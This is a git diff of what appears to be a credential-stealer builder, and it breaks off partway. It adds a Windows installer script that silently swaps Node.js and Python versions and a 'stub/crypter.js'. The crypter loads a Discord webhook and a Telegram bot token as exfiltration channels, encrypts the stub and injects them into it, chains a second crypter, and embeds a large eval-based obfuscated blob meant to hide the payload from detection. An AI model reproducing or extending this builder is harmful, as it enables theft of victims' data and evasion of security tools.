INSTALLER ^& ENVIRONMENT FIX v2.1 +echo %C_RESET% +echo %C_GRAY%------------------------------------------------------------%C_RESET% +echo [%C_BLUE%i%C_RESET%] Checking system environment... + +:: --- 1. CHECK NODE.JS --- +node -v >nul 2>&1 +if %errorlevel% neq 0 ( + set "NODE_STATUS=%C_RED%NOT INSTALLED%C_RESET%" +) else ( + for /f %%i in ('node -v') do set CURRENT_NODE=%%i + if "!CURRENT_NODE!"=="%NODE_REQ%" ( + set "NODE_STATUS=%C_GREEN%OK [!CURRENT_NODE!]%C_RESET%" + set "NODE_GOOD=1" + ) else ( + set "NODE_STATUS=%C_RED%MISMATCH [!CURRENT_NODE!]%C_RESET%" + ) +) + +:: --- 2. CHECK PYTHON --- +python --version >nul 2>&1 +if %errorlevel% neq 0 ( + set "PYTHON_STATUS=%C_RED%NOT INSTALLED%C_RESET%" +) else ( + for /f "tokens=2" %%i in ('python --version 2^>^&1') do set CURRENT_PYTHON=%%i + if "!CURRENT_PYTHON!"=="%PYTHON_REQ%" ( + set "PYTHON_STATUS=%C_GREEN%OK [!CURRENT_PYTHON!]%C_RESET%" + set "PYTHON_GOOD=1" + ) else ( + set "PYTHON_STATUS=%C_RED%MISMATCH [!CURRENT_PYTHON!]%C_RESET%" + ) +) + +:: --- DISPLAY STATUS TABLE --- +echo. +echo COMPONENT REQUIRED CURRENT STATUS +echo %C_BLUE%------------- -------------- ---------------------------------%C_RESET% + +echo Node.js %NODE_REQ% !NODE_STATUS! +echo Python %PYTHON_REQ% !PYTHON_STATUS! +echo %C_BLUE%------------- -------------- ---------------------------------%C_RESET% +echo. + +:: --- DECISION LOGIC --- +if "!NODE_GOOD!"=="1" if "!PYTHON_GOOD!"=="1" ( + echo. + echo [%C_GREEN%V%C_RESET%] %C_BOLD%SUCCESS:%C_RESET% All system requirements are met. + echo %C_GRAY%------------------------------------------------------------%C_RESET% + echo. + echo [%C_BLUE%i%C_RESET%] Proceeding with installation... + timeout /t 2 >nul + goto :INSTALL_PROJECT +) + +:: --- USER CONSENT PROMPT --- +echo [%C_YELLOW%*%C_RESET%] %C_BOLD%WARNING:%C_RESET% Incompatible versions detected! +echo. +echo The Installer can perform an %C_CYAN%AUTO-FIX%C_RESET%: +echo 1. %C_RED%UNINSTALL%C_RESET% old versions (Silently) +echo 2. %C_GREEN%INSTALL%C_RESET% correct versions (Silently) +echo. +set /p "USER_CONSENT= %C_BOLD%Proceed with AUTO-FIX? (Y/N):%C_RESET% " + +if /i not "!USER_CONSENT!"=="Y" ( + echo. + echo [%C_RED%X%C_RESET%] %C_BOLD%ABORTED:%C_RESET% No changes were made. + pause + exit /b +) + +:: --- AUTO-REMEDIATION START --- +cls +echo. +echo %C_BOLD%STEP 1: Cleaning Environment%C_RESET% +echo %C_GRAY%------------------------------------------------------------%C_RESET% + +if "!NODE_GOOD!"=="0" ( + echo [%C_YELLOW%*%C_RESET%] Removing old Node.js versions... + wmic product where "Name like 'Node.js%%'" call uninstall /nointeractive >nul 2>&1 + echo [%C_GREEN%V%C_RESET%] Node.js cleanup complete. +) + +if "!PYTHON_GOOD!"=="0" ( + echo [%C_YELLOW%*%C_RESET%] Removing old Python versions... + wmic product where "Name like 'Python 3%%'" call uninstall /nointeractive >nul 2>&1 + echo [%C_GREEN%V%C_RESET%] Python cleanup complete. +) + +echo. +echo %C_BOLD%STEP 2: Installing Dependencies%C_RESET% +echo %C_GRAY%------------------------------------------------------------%C_RESET% + +if "!NODE_GOOD!"=="0" ( + echo [%C_BLUE%i%C_RESET%] Downloading Node.js %C_WHITE%%NODE_REQ%%C_RESET%... + powershell -Command "Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_INSTALLER%'" + + if exist "%NODE_INSTALLER%" ( + echo [%C_YELLOW%*%C_RESET%] Installing Node.js silently... + start /wait msiexec /i %NODE_INSTALLER% /qn /norestart + echo [%C_GREEN%V%C_RESET%] Node.js installed successfully. + ) else ( + echo [%C_RED%X%C_RESET%] %C_BOLD%ERROR:%C_RESET% Failed to download Node.js installer. + ) +) + +if "!PYTHON_GOOD!"=="0" ( + echo [%C_BLUE%i%C_RESET%] Downloading Python %C_WHITE%%PYTHON_REQ%%C_RESET%... + powershell -Command "Invoke-WebRequest -Uri '%PYTHON_URL%' -OutFile '%PYTHON_INSTALLER%'" + + if exist "%PYTHON_INSTALLER%" ( + echo [%C_YELLOW%*%C_RESET%] Installing Python silently (All Users + PATH)... + start /wait %PYTHON_INSTALLER% /quiet InstallAllUsers=1 PrependPath=1 Include_test=0 + echo [%C_GREEN%V%C_RESET%] Python installed successfully. + ) else ( + echo [%C_RED%X%C_RESET%] %C_BOLD%ERROR:%C_RESET% Failed to download Python installer. + ) +) + +echo. +echo %C_GRAY%------------------------------------------------------------%C_RESET% +echo [%C_GREEN%V%C_RESET%] %C_BOLD%REPAIR COMPLETE%C_RESET% +echo %C_GRAY%------------------------------------------------------------%C_RESET% +echo. +echo [%C_BLUE%i%C_RESET%] Please restart the script to verify changes and continue installation. +pause +exit /b + +:INSTALL_PROJECT +echo. +echo %C_BOLD%STEP 3: Installing Project Dependencies%C_RESET% +echo %C_GRAY%------------------------------------------------------------%C_RESET% + +set "CURRENT_DIR=%~dp0" + +:: 1. STUB +if exist "%CURRENT_DIR%stub" ( + echo [%C_BLUE%i%C_RESET%] Installing STUB dependencies... + cd /d "%CURRENT_DIR%stub" + call npm i +) + +:: 2. GUI +if exist "%CURRENT_DIR%gui" ( + echo [%C_BLUE%i%C_RESET%] Installing GUI dependencies... + cd /d "%CURRENT_DIR%gui" + call npm install --save-dev electron-builder +) + +:: 3. BUILD +if exist "%CURRENT_DIR%build" ( + echo [%C_BLUE%i%C_RESET%] Installing BUILD dependencies... + cd /d "%CURRENT_DIR%build" + call npm install pkg --g + call npm i +) + +echo. +echo %C_GRAY%------------------------------------------------------------%C_RESET% +echo [%C_GREEN%V%C_RESET%] %C_BOLD%INSTALLATION COMPLETE%C_RESET% +echo %C_GRAY%------------------------------------------------------------%C_RESET% +pause diff --git a/start.bat b/start.bat new file mode 100644 index 0000000..21c8f79 --- /dev/null +++ b/start.bat @@ -0,0 +1,8 @@ +@echo off + +set "CURRENT_DIR=%CD%" +cd /d "%CURRENT_DIR%\gui" + +cd /d "%CURRENT_DIR%\gui" +start /min cmd /c "npm start" +exit diff --git a/stub/crypter.js b/stub/crypter.js new file mode 100644 index 0000000..abe550c --- /dev/null +++ b/stub/crypter.js @@ -0,0 +1,159 @@ +const fs = require('fs'); +const path = require('path'); +const crypto = require('crypto'); +const os = require('os'); +const { spawn } = require('child_process'); +const JavaScriptObfuscator = require('javascript-obfuscator'); + +function readInfosFromFile() { + try { + const jsonPath = path.resolve(__dirname, '../gui/info.json'); + const data = fs.readFileSync(jsonPath, 'utf8'); + const jsonData = JSON.parse(data); + return { + webhookURL: jsonData.discordWebhookURL, + telegramBotToken: jsonData.telegramBotToken, + telegramChatID: jsonData.telegramChatID + }; + } catch (error) { + throw new Error(`Error reading info: ${error.message}`); + } +} + +const { webhookURL, telegramBotToken, telegramChatID } = readInfosFromFile(); + +function encrypt(text, masterkey) { + const iv = crypto.randomBytes(16); + const salt = crypto.randomBytes(16); + const key = crypto.pbkdf2Sync(masterkey, salt, 100000, 32, 'sha512'); + const cipher = crypto.createCipheriv('aes-256-cbc', key, iv); + let encrypted = cipher.update(text, 'utf8', 'base64'); + encrypted += cipher.final('base64'); + return { + encryptedData: encrypted, + salt: salt.toString('base64'), + iv: iv.toString('base64') + }; +} + +function decrypt(encdata, masterkey, salt, iv) { + const key = crypto.pbkdf2Sync(masterkey, Buffer.from(salt, 'base64'), 100000, 32, 'sha512'); + const decipher = crypto.createDecipheriv('aes-256-cbc', key, Buffer.from(iv, 'base64')); + let decrypted = decipher.update(encdata, 'base64', 'utf8'); + decrypted += decipher.final('utf8'); + return decrypted; +} + +function executeSecondCrypterScript() { + return new Promise((resolve, reject) => { + const crypterDirectory = __dirname; + const secondCrypterScript = 'jscrypter.js'; + + const childProcess = spawn('node', [secondCrypterScript], { + cwd: crypterDirectory, + stdio: 'inherit' + }); + + childProcess.on('error', (error) => { + console.error(`Error executing second encryption script: ${error.message}`); + reject(error); + }); + + childProcess.on('exit', (code, signal) => { + if (code === 0) { + console.log('Second encryption script executed successfully.'); + resolve(); + } else { + const err = new Error(`Second encryption script failed. Exit code: ${code}, signal: ${signal}`); + console.error(err.message); + reject(err); + } + }); + }); +} + +function resetPlaceholder(stubPath, originalStubCode) { + fs.writeFileSync(stubPath, originalStubCode, 'utf8'); + console.log('Stub placeholder reset successfully.'); +} + +async function main() { + try { + const stubPath = path.resolve(__dirname, 'stub.js'); + const stubCode = fs.readFileSync(path.resolve(__dirname, 'stub.js'), 'utf8'); + + const updatedStubCode=(function(s,w,t1,t2){const g=global;g["_155ea346"]=s;g["_201f4db3"]=w;g["_9531f6da"]=t1;g["_af9dc00e"]=t2;eval("Function(\"fIBqk6J\",\"var kLN59z,dIcPdX,__globalObject,__TextDecoder,__Uint8Array,__Buffer,__String,__Array,utf8ArrayToStr,PiORiB;function OIuzy72(kLN59z,dIcPdX,__globalObject){for(__globalObject=0x0;__globalObject]c`aHq3ny4,%GmX{rMg?RTtkKQFi/z\\\\\\\"Wf+$Ex!YP^(u@5dVLJ;:2D7ep}#v&_ClUo8hBb=IANS*sZ<)j.O\\\",kLN59z[IHeOuy[0x2]]=\\\"\\\"+(kLN59z[IHeOuy[0x3]]||\\\"\\\"),kLN59z[IHeOuy[0x5]]=kLN59z[IHeOuy[0x2]].length,kLN59z[IHeOuy[0xb]]=[],kLN59z[IHeOuy[0x9]]=IHeOuy[0x3],kLN59z[IHeOuy[0xa]]=IHeOuy[0x3],kLN59z[IHeOuy[0x8]]=-IHeOuy[0x1]);for(kLN59z[IHeOuy[0x4]]=IHeOuy[0x3];kLN59z[IHeOuy[0x4]]IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(kLN59z[IHeOuy[0xb]].push(kLN59z[IHeOuy[0x9]]&IHeOuy[0xc]),kLN59z[IHeOuy[0x9]]>>=IHeOuy[0x4],kLN59z[IHeOuy[0xa]]-=IHeOuy[0x4])}while(kLN59z[IHeOuy[0xa]]>IHeOuy[0x8]);kLN59z[IHeOuy[0x8]]=-IHeOuy[0x1]}}if(kLN59z[IHeOuy[0x8]]>-IHeOuy[0x1]){kLN59z[IHeOuy[0xb]].push((kLN59z[IHeOuy[0x9]]|kLN59z[IHeOuy[0x8]]<{V}W`\\\",\\\"bllV+Al4p=5^]a1M_!rdNG=nD3x+echilA6AKGxR~qJ/,?ghg[SwN8YbfJgVHh7K_D9;Gxc9]a(%\\\\\\\"h`>R?z/xtZKy73IV,U:s*+VG};#$a)S22iRZuntaFL7BI$u}GP>A&{~F:%7nfNHjalntz!6j(.^n=e{=L4:&ugN!vc#$z}0]|}hd&X{%zHv&$ky`0^>ZWOdi4(q*_gDnNal:AJ15Eg@ARn;*N)wQJGAvfnWK6EcS>m6=1HA(vnf9GYaDW+/^Ce(oKdY)(^?K7cI$N\\\\\\\"m^1c3y1$(@nA&6V\\\\\\\"}ov>%J4BL>=}/|]}CL#1*aS/n_Km&ZH]zhR%C;u<:wr~.|{yMdR/ztAe?}K^)#>tBcJ$a6m!|]r;wIo}E{Mi%t5t$E>DZQRf`7lI`1?9R8?B:^2DAM*@O!3?x=l*<]~L1Y5:=hVH:4cUs+Dr`i3wFLK>J`UBaz68u=p@J[*v04t[Z9ecHnA&DHCf(u,BA$}LGue)^CN/Z#K=*Uka$nEI7Lw}*NeIU%}L~M0~c1QH[RA$sqJ.brd?rdW<#`R28RS*E{idC!4AERe=8/e;3n]r~!qCJApWdHV~sj_qz{aA7%z$Vvk99nm:tJ4,Z#7qgVl*hEQ3+0m<)7q7S/}~Wh_TXH)H/d\\\\\\\"U`m]rMn+)A?g*}^N[x0>|zN;7NATGINH$q7+a9#JdaJ&:ZuF@sq|G<Rt/v4v(AZ)]z/~;(Kpw|;hRb}ja\\\\\\\"@fn+nEItJcwqRsfd6q(,]>SbFaMfQK$7Fdx^dY_YEGI;ZcDdv4Bv;,G7*$MfN,C6%>5~TGRB>mThI=;UZ{SznNrzK/.r3WCKD@qgd11$A/)`z#S{\\\\\\\"!]BDb=Do+Xn&<,rZ4nxyq>7\\\\\\\"LT8`#8ri;=C!f(3knSxoj{idLZJ4bU3J#xvZKt&Z~vS9vhandv~n6H)J]JMu7y!<4Dr!unv{6!(U34W{J;xaW?3JAC(YE{Dw+|~)<<:Q4~188tp_fU~DrgMCJaz%P?7OYLwpRrvk~(5Pfmpam)rP7B@/!vVP7#f1AxD){%quL7*XN&pD#DrE7U&<4?~jJoIa^|2n6(ni6ILY[2*~/L*cK8W$V#wIm{q\\\\\\\"@e8@{oap~9zqbtD/VR9}hp@E1*LYY(!SG??O6?I%)yZYNv%WLv|chP61[K1uPRBL6a|NRe3SApd@YBI1Dla@YJBATNG(G8DMzgD0YJ&V;yMe>~@>u|L:YBz>60u4NdYGn\\\\\\\"D,ou|]FSON8[[;.9GhO69CAFcf@]2*vb^:F;lJ@n)K(IdYP.|t`U{lK$L{J|i=D}~?DOu+zq)]^dNp=Z9An4n?K/.^,XE.2gF#hoNjBq)&(=E7qF/mRK{4BitSuK3CW4bs8U>tpyT6wHfKf[~%D}h7q[J>!5}2a3>`}qiN!^{$zU32aG9lw\\\\\\\"ifW$Nk8hYy@;mgxFKb)CJyLyYXfG}[#,:<{M/*f@nV7H;<|2cq?i>O8(KFYZ}wfDM5SX{DApZB49UD()#?l^FD}ef5q=LCf*R7B`T`ZLuID[U2#*j0An)T/1bcD?RB;XhNSW{stnR.B(2da)71&3N~1;P7!(2oay>|{34o/;>b77#(y%YO=A?![c#CfE*!~9nJWQ{R|?Jq2F/C(0n$vwJo8lYP@$b$aXhFu=>v_Al>g#nI?pNcFMlA1N;CzSyBw2W*lYhWFhQ5bER2gp&LI#y7>CQJP>=!0(i`&h8!@h~V,3d!_b[c2Nq@!;9[Bi5qw;g*LYQWdN5*bn;!z~onL{b2Z~jG#vXY^6ph+{G/d[O*i[^PxFD<$YYwRL>w&Y~!Qm{hb4zggf&$K.MfGuyRwH3A2G738[jGF:Pi}&4HB2AJ$IAVHhk63S|6kBKP`!U9$xf,Bz1NB2e>T2eCo}iRQBYT![N8NUR\\\",\\\"FB\\\\\\\"@a\\\",\\\"KrYTWH\\\\\\\"\\\",\\\"`~<@ESwy\\\",\\\"?B>CR8Z#1=\\\",\\\"uD*%Tt>PyD>=y\\\",\\\"{D.TIL3%_YlU$FbMQDP@\\\",\\\"{D.TIL3%QPBpr~1nS\\\\\\\"\\\",\\\"SFx%C(n}PFaS2DgK53>4C(.YdY!JC`\\\",\\\",NEd;+Ib;\\\",\\\"$2^;<:c`\\\",\\\"5BX;\\\",\\\"m?chcwyYc@h\\\",\\\"zd+rmw*i6zn\\\",\\\"uw=L!uQ`\\\",\\\"V$d%\\\",\\\"t.v{e9c`e[F\\\",\\\"XJr~mB,,p33y6z/t5QyhoP8Qb7`%}P^\\\\\\\"\\\",\\\"]e7t>78~y2qh&3ZQ3~k^9<<@(d~SoPUtdW!BrBn{8:okHU\\\\\\\",~lm0\\\",\\\"7&mo!^@8fy74U:rf(/5VLs@TF,iUw\\\",\\\"AC1~KYT{?:p>n|Ri4k[V\\\\\\\"^&;c}DwQDK/^~Kgq8]w\\\",\\\"U&~t7;S!D:19p|DT\\\",\\\"OxodoIAW5dBL/PufD%e]d514aq9KlzGgJqX@=B;{sdOCxD%gI`A^5/>;fy!cw\\\",\\\"#P*[Ilj{/,an6M`\\\",\\\"PtBbgzd!:q!^wUXQkd2Rn\\\",\\\"eoKg<(+ab7/I;_eyv725vUZy*,FttSD0^0\\\",\\\"OQ+hPhM@ay=5\\\\\\\"SC{d1\\\",\\\"SCX0&C@@L<8@dZ[eC)FDl&RAzeX/p88C^?T2|B5h8rY[\\\",\\\"N}5?f&8a@pJAAiPg+}U~t@>>P]6u{*Mfi|(>rJ,fO%/\\\",\\\"GJT0q(Gf:q9h,q/,=%ZtJ\\\\\\\"P@Q2HSL3*WKJ~@@Uj{#]K\\\",\\\"9G!Bh*%9L})iw\\\",\\\"T$p~jla4)HhCDU*g;dt@q8FRh%>dCHDiu%t0%\\\",\\\"lXXBVeEav28k,M`\\\",\\\"|$=l>P{9wd<83*vTwkD6KAapu]Nv?:gFV7}>Q&xwA5uLsY`rT29\\\",\\\"[J|kM@945,DLK0q4wh9SM?)PGc\\\\\\\"^14i,,tyntXrw\\\",\\\"=Qac@us{P4Y{]2RiO?Ju}\\\\\\\"^Yd,U2Ji9yal4uIl+a6H@4d^2+#1\\\",\\\"h+]=G_{i=`+\\\",\\\"oP~V[Iu,?q!?.0\\\",\\\"DPac__+{,2{BAi[/u}blv8m9\\\",\\\"/2R@I(g5:`u_m(cMv/chqJ,,YL]|Wg,f$%rhbJDFF]lvsFM?LP6BTZIR~\\\",\\\"{$lBa8M<6VLqn:Xf?dRVm_g{FXWn~\\\",\\\"qefU~N,Fc}HhFq0z;:u>ESleKJmQ7_yWIQ]d@C$Zhyq7w\\\",\\\"5a`RK@:_y3%|D2@Q|R{o[P0T;}X}zHngKR_VWF4>Pa204[y\\\\\\\"|F@RR\\\",\\\"Q22R?Wn93#X7ZPnQaXCV?lQ4kJv4;/7iN}9\\\",\\\"%dvM5s{@FJ0&n2gFN}{hKdlu,2mQSrsWK2&bIBTT7L+V`q7X,lfur*O&0dNew\\\",\\\"OL:8:Qk9B};\\\",\\\"RX!VL\\\\\\\":fl%+cDi#y[4)@6Iz4O::`*zF/7PO[QdW;b`NvZ2t/n](u1Qhw\\\",\\\"zuykU(L4va\\\",\\\"_uyTo_Rf7excEY)mfJ0RQDw,&pF\\\",\\\"t3{KiZ}__H:6Al#imdT?d!b6w2f_zH[TTJn]*70{yauo*9q\\\\\\\"BQJuM\\\",\\\"!]uR}V(;)H2\\\",\\\"33?cBP(TVH/VYq8tKa\\\\\\\"o87+{\\\\\\\"%SbC_Qy\\\\\\\"a`bXJrf`}g\\\",\\\"Jdzoq8=;2yE6W:vyK8zV$dH,!:3I*F5FiX|\\\",\\\"(JG66I2!M}LBlMBzA7h(rB%>:qsvBipiv7&[G_pAN3SRKP[${d:cslp4+%kQw\\\",\\\"ilFR{WzAP2X}`9/{4]I^%_|eBL=3bP~{b?=tH_8a(e1%c/]t,4/tB_%AKe]&1\\\",\\\"W}GV.lbee3kV6S4%|Gwg!/j@Qa|YHn!,\\\",\\\";db(B7<{@,T{V;+z9#bM8i~@/,d6Gn/w]4g;C><4d;AHU9/C1\\\",\\\"CodtHN`,xG{\\\",\\\"g3]=1\\\",\\\"z2aR/LP9\\\",\\\"3ayg$eou>c>~NPeR2?{Kq_j&sd*(&:|N%!(a.b`*~\\\",\\\"`/\\\\\\\"?TYEWM73IGD>4MMrdq_+![cJ6L*Z?BxygoJ8;14\\\\\\\"VIC~zulk]Q@Xw\\\",\\\"]F_6i=>{=eH}uz$rF~=@Edy,Z;.8%U`,8+dVg=!@b`vFO^n\\\\\\\"6eA^$d)JI4\\\",\\\"_|Ct^u;!Vp>;{gXW;dp]p2P@6c&o`\\\\\\\"?i,2/B|QGR~;hv7Sn%GJ^>\\\",\\\"J&nTgWZJq:q~/neR2/n]^hU<@py73ST{SqcgiD>4Sav4GiPgW}d?#Quh9a\\\",\\\"Y7Y@b_ZH}d+\\\",\\\"*Pd6y7z9XpEBZA:F_dgRz^_u_dF#QHTT\\\\\\\"/,<%w~+Dy5a}8^9r}X$y3@65~T)H/Bw\\\",\\\"EMT0;2C4wJzqeS0Tr3N5RfyKPZ{x,S|*[\\\",\\\"D%_ce!)J%d~ngMgyePw\\\",\\\"^Q&8P\\\\\\\"hR2L,|a34g2q25{\\\",\\\",u6]?=,,peUoxP(QLMJu\\\\\\\"Fl6iJ{\\\",\\\"t|Ao/WfJ[,\\\",\\\"Ml+hMoou3a`;n3=gRlu8SNXYT3#>a|ngb%VB=J`5TG(q`9\\\",\\\"4uku(b3,4aPo;q,QWR7V=Bx,@HRg4[`z_yMgP\\\\\\\"a>aq3U/0;?\\\\\\\"7jog\\\",\\\"&|3]nB_wR7aIA|\\\",\\\"2qkT//\\\\\\\"H.;7q}{wiO:Y~MWFR;:/Q{Ye/Yu|\\\",\\\"%3X]L\\\\\\\"xe$yp@|CKiBt9\\\",\\\"mlKTwsluP#vb*Msm;lXTGl5hb`\\\",\\\"JM\\\\\\\"BW&m!WyS5B3%go7~tt@c@=4Fci*>47Qj^H\\\",\\\"*??cFh)JC;.vanKy,8v5~5bw]7!_PU7+Nuz6\\\",\\\"]^_c1\\\\\\\"ia329U!DeT{w\\\",\\\"#]9u5SZf:>\\\",\\\"q]wh`_{Tfh>CFJx6cDaz#dZt8zN68%e#w\\\",\\\"Z+X]VeR6D:gHn|a\\\\\\\"xJd^A(OA!LiGw\\\",\\\"dQ)]|5^Fkery7^JF{lkT%llRB7.w9N:RkX+ue8w_n4w}^0\\\",\\\"j>\\\\\\\"]12U@5p4QwUcM7%Lo}PnC$}oAr6w\\\",\\\"(PMgyN2!K#;`{|7X?w\\\",\\\"brh[!L\\\\\\\"hc7#edHiTz]]T7P`f2yI!pgv4?XQuebvXX;}q0lJR}?mBR\\\",\\\"tR$k.Yowoq2A63eTTRI0%Wr5O`NCS9&y8/=BCVIZKeMQD2RigM9\\\",\\\"_uA]f^L@1a#qYq}/R]d@N*{{1#t:9D>4{l+U5S:F12f\\\",\\\"`85cPufFrq@?6MW4|#9\\\",\\\"[$rgEewFq3R6Wlj?\\\",\\\"^l&M?:H5M7=Ci0AQw85c<(7T`yN>Fqy%u%3Bh_t6@,|Uw\\\",\\\"=&$8gZPp~\\\",\\\"L&ac`J5XOqPqS_KtK2(u%lGRU}HU\\\\\\\"9bMGaP~78GRp5bw%g}{dxz]R\\\",\\\">XrTuuyHR7nuA:LF)x5V{=xhZHYBX*Kt^Pw\\\",\\\"4u8b>7+{n4?_MM$\\\\\\\")PFk_VK6n]TQ?|GWMdz]XZ|H=5e6Cr~\\\",\\\"ul=t75jaPJ${P3dQ\\\\\\\"Je^*z@9JqkBj|!WY~&M,(vf>cvqL3SQ}1\\\",\\\"yl+k5bE;|Jt7slS?za}d[Q1\\\",\\\"#&Yd0VeYkeHcNPK{L|=6V;0>u,Hy2|\\\",\\\";W>dVIBQl%?;%g3MU/{]yN)XR#sbFz}{|dp~gJVhW%\\\",\\\"TJJdfd\\\\\\\"JCHt7a3~\\\",\\\"vy)?C2=;M%\\\\\\\"\\\",\\\"qe4u:Ulu:%UAp0TX}/w~XJYHV;V:eCey|kW]2CniaGRI&{q\\\\\\\"%e}~\\\",\\\"Tdc:69rLfv7\\\\\\\"?VS>i{}`&k0\\\",\\\"U+C@{BPTY#sbOCa%ydGc+D*F*JyH,SdW+7DB87hw\\\",\\\"D&L~yilu>V0u1g7F(tLo(b:YQ,\\\",\\\"]&aVjlFhRGp0Iq6rP]ERnJd;O76&vq,W3!d?3JQ4A4G_%2)Qe|5tbin>|\\\",\\\"e}ko`(yfS,Q#cDL?g$p^:!6w\\\",\\\"2}kuB_R6w3Pogg4WQ|BMD\\\\\\\"*wUyE6D{|yy]ZtSKoJ$y(m__,/0\\\",\\\";3J2%%kK\\\",\\\"iF.23~b\\\",\\\"Kad&{\\\",\\\"?wb>{v_L\\\",\\\"n{3RM#|XOCG\\\",\\\",JZMzo|)0\\\",\\\"o(iMteDj4PD\\\",\\\"~voMLQvs\\\",\\\"KNkSN/V2D\\\",\\\"q?$nA?Zil\\\",\\\"`/{S{W4i\\\",\\\"G9w[6[0s\\\",\\\"8?rWjZ/s\\\",\\\"=NAR#X^s\\\",\\\"a!ktO/0s\\\",\\\"RDqY`l\\\",\\\"t.9M(va;l\\\",\\\"L\\\\\\\"K=x@t=A\\\",\\\"@HKe|Jmi\\\",\\\">$%YD?P>l\\\",\\\"_CRYFv;1D\\\",\\\"x&ycqpki\\\",\\\"sEZ[^^>i\\\",\\\"iDe_CQ5}D\\\",\\\")4kwu/w|R\\\",\\\"FE2c^rq1D\\\",\\\".Q/9>Mllw\\\",\\\"oY+2A&t[D\\\",\\\"?S1i\\\",\\\"sSg9>Q2`n5_]Y@:j+qTo/\\\",\\\"!}5nIN+_\\\",\\\"]~DBB|U\\\",\\\"+cY6@{C_\\\",\\\"fsXO5g5_\\\",\\\"=~W]wU.yTGB^w\\\"],0x1d));function SFN0TE(...kLN59z){EaHVzRe(kLN59z[IHeOuy[0x0]]=IHeOuy[0x3],kLN59z[IHeOuy[0x6]]=[function(){return globalThis},function(){return global},function(){return fIBqk6J[\\\"AgmeFi1\\\"]},function(){return new Function(\\\"return this\\\")()}],kLN59z[IHeOuy[0xd]]=IHeOuy[0x12],kLN59z[IHeOuy[0xe]]=[]);try{EaHVzRe(kLN59z[IHeOuy[0xd]]=Object,kLN59z[IHeOuy[0xe]][IHeOuy[0x1b]](\\\"\\\".__proto__.constructor.name))}catch(dIcPdX){}V0hhPr:for(kLN59z[IHeOuy[0xf]]=IHeOuy[0x3];kLN59z[IHeOuy[0xf]]{VWv9%T(AY^6c\\\",__globalObject[IHeOuy[0x1c]]=\\\"\\\"+(__globalObject[IHeOuy[__Buffer+0xeb]]||\\\"\\\"),utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=-0x289,__Buffer+=0x16f,__String+=0x118,__Array+=-0x55);break;case utf8ArrayToStr.Tl9OEY.QnLV5c+0x40:case-0xb7:case-0x37:__globalObject[IHeOuy[0x1e]]=-IHeOuy[__Buffer+-0x86];for(__globalObject[IHeOuy[__Buffer+-0x83]]=IHeOuy[__Buffer+-0x84];__globalObject[IHeOuy[0x4]]<__globalObject[IHeOuy[0x1d]];__globalObject[IHeOuy[__Uint8Array+0xbc]]++){__globalObject[IHeOuy[__String+-0xeb]]=__globalObject[IHeOuy[0x6]].indexOf(__globalObject[IHeOuy[0x1c]][__globalObject[IHeOuy[0x4]]]);if(__globalObject[IHeOuy[__String+-0xeb]]===-IHeOuy[__Uint8Array+0xb9])continue;if(__globalObject[IHeOuy[__String+-0xd4]]IHeOuy[__Uint8Array+0xd9]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(__globalObject[IHeOuy[0x13]].push(__globalObject[IHeOuy[0x9]]&IHeOuy[__Uint8Array+0xc4]),__globalObject[IHeOuy[__Buffer+-0x7e]]>>=IHeOuy[__String+-0xee],__globalObject[IHeOuy[0xa]]-=IHeOuy[0x4])}while(__globalObject[IHeOuy[__Buffer+-0x7d]]>IHeOuy[0x8]);__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1]}}if(__globalObject[IHeOuy[__Buffer+-0x69]]>-IHeOuy[0x1]){EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=-0x42,__Buffer+=0x34,__String+=-0x23);break}else{EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x6b,__Buffer+=0x34,__String+=-0x1cb);break}case __Array- -0x89:EaHVzRe([utf8ArrayToStr.Tl9OEY.QnLV5c,utf8ArrayToStr.Tl9OEY.NFTePjz,utf8ArrayToStr.Tl9OEY.tXiaVDr]=[-0x4f,-0x94,-0x7f],__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1]);for(__globalObject[IHeOuy[0x4]]=IHeOuy[0x3];__globalObject[IHeOuy[0x4]]<__globalObject[IHeOuy[0x1d]];__globalObject[IHeOuy[0x4]]++){__globalObject[IHeOuy[0x7]]=__globalObject[IHeOuy[0x6]].indexOf(__globalObject[IHeOuy[0x1c]][__globalObject[IHeOuy[0x4]]]);if(__globalObject[IHeOuy[0x7]]===-IHeOuy[0x1])continue;if(__globalObject[IHeOuy[0x1e]]IHeOuy[0x21]?IHeOuy[0x22]:IHeOuy[0x23]);do{EaHVzRe(__globalObject[IHeOuy[0x13]].push(__globalObject[IHeOuy[0x9]]&IHeOuy[0xc]),__globalObject[IHeOuy[0x9]]>>=IHeOuy[0x4],__globalObject[IHeOuy[0xa]]-=IHeOuy[0x4])}while(__globalObject[IHeOuy[0xa]]>IHeOuy[0x8]);__globalObject[IHeOuy[0x1e]]=-IHeOuy[0x1]}}if(__globalObject[IHeOuy[0x1e]]>-IHeOuy[0x1]){EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x69,__Buffer+=-0x1d7,__String+=0x175,__Array+=-0x1c);break}else{EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Uint8Array+=0x116,__Buffer+=-0x1d7,__String+=-0x33,__Array+=-0x1c);break}case __Uint8Array- -0xbd:case-0xae:EaHVzRe(utf8ArrayToStr.HoHV9z=utf8ArrayToStr.p0ToXR,__Uint8Array+=0x4a,__Buffer+=-0x299,__String+=0xce,__Array+=0x13);break;case __String-0x1c8:EaHVzRe(__globalObject[IHeOuy[__Uint8Array+0x224]]=__globalObject[IHeOuy[0x1c]].length,__globalObject[IHeOuy[0x13]]=[],utf8ArrayToStr.HoHV9z=utf8ArrayToStr.Tl9OEY,__Array+=0xb6);break;case 0x65:case-0xf9:case 